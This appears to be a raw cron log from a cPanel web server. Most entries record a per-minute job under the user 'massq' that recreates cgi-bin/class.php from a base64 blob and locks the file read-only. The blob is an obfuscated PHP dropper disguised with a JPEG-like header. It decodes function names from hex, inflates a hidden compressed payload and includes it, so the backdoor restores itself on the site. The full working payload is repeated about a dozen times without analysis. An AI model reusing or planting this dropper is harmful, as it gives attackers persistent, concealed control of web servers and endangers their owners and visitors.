Nov 13 13:13:02 server CROND[10886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:14:01 server CROND[11877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:15:01 server CROND[12686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:15:01 server CROND[12687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:15:01 server CROND[12688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:16:01 server CROND[13088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:17:01 server CROND[13943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:18:01 server CROND[14789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:19:01 server CROND[15775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:20:01 server CROND[16645]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:20:01 server CROND[16647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:20:01 server CROND[16646]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 13:20:01 server CROND[16650]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 13:20:01 server CROND[16651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:21:01 server CROND[17590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:22:01 server CROND[18451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:23:01 server CROND[19298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:24:01 server CROND[20078]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:25:01 server CROND[21033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:25:01 server CROND[21034]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:25:01 server CROND[21035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
